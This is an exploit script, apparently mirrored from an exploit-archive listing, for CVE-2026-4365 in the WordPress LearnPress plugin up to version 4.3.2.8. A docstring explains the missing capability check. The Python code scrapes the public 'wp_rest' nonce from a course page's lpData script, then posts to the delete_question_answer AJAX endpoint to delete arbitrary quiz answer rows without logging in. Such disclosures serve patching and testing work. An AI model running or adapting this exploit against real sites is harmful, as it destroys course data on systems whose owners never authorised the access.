Share
## https://sploitus.com/exploit?id=PACKETSTORM:226460
#!/usr/bin/env python3
# Exploit Title: WordPress Plugin LearnPress <= 4.3.2.8 - Unauthenticated Quiz Answer Deletion (Broken Access Control)
# Google Dork: N/A
# Date: 2026-07-10
# Exploit Author: A. Ramos <aramosf@gmail.com> / @aramosf
# Vendor Homepage: https://wordpress.org/plugins/learnpress/
# Software Link: https://downloads.wordpress.org/plugin/learnpress.4.3.2.8.zip
# Version: 4.3.2.8 (REQUIRED)
# Tested on: WordPress 6.6.2, PHP 8.2, MariaDB 10.11 (Docker, Debian 12 / Linux)
# CVE : CVE-2026-4365
r"""
LearnPress <= 4.3.2.8 dispatches EditQuestionAjax::catch_lp_ajax() on 'init' (learnpress.php:704),
for every front-end request. The delete_question_answer() handler
(inc/Ajax/EditQuestionAjax.php:285-310) reads question_answer_id from the JSON body and calls
QuestionAnswerModel::delete() (:301) with NO current_user_can() / ownership check โ the only gate is
the shared AbstractAjax nonce check against 'wp_rest' (AbstractAjax.php:33). The anonymous 'wp_rest'
nonce is printed publicly in the inline <script id="lpData"> on any LearnPress front-end page
(inc/class-lp-assets.php:123), so an unauthenticated attacker harvests it and deletes arbitrary quiz
answer rows.
Prior state: a question with answer rows (in wp_learnpress_question_answers). For single/multi choice
questions the guard keeps >2 answers, so seed 3.
"""
import argparse, sys, re, json
import requests
requests.packages.urllib3.disable_warnings()
def main():
ap = argparse.ArgumentParser()
ap.add_argument("--target", required=True)
ap.add_argument("--question-id", type=int, required=True)
ap.add_argument("--answer-id", type=int, required=True, help="quiz answer row id to delete")
ap.add_argument("--nonce-page", default="/courses/", help="LearnPress front page emitting lpData")
args = ap.parse_args()
base = args.target.rstrip("/")
h = requests.get(base + args.nonce_page, verify=False, timeout=20).text
m = (re.search(r'lpData[^<]*?"nonce":"([0-9a-f]{10})"', h)
or re.search(r'"nonce":"([0-9a-f]{10})"', h))
if not m:
print("[-] no lpData wp_rest nonce found"); return 1
nonce = m.group(1)
print(f"[*] Target: {base} | public wp_rest nonce: {nonce}")
data = json.dumps({"question_id": args.question_id, "question_answer_id": args.answer_id})
r = requests.post(base + "/?lp-load-ajax=delete_question_answer",
data={"nonce": nonce, "data": data}, verify=False, timeout=20)
print(f"[*] delete answer {args.answer_id} -> HTTP {r.status_code} :: {r.text[:120]}")
if '"status":"success"' in r.text:
print(f"\n[+] BROKEN ACCESS CONTROL CONFIRMED โ unauthenticated caller deleted quiz answer "
f"row {args.answer_id} (verify: it is gone from wp_learnpress_question_answers).")
return 0
print("\n[-] not confirmed"); return 1
if __name__ == "__main__":
sys.exit(main())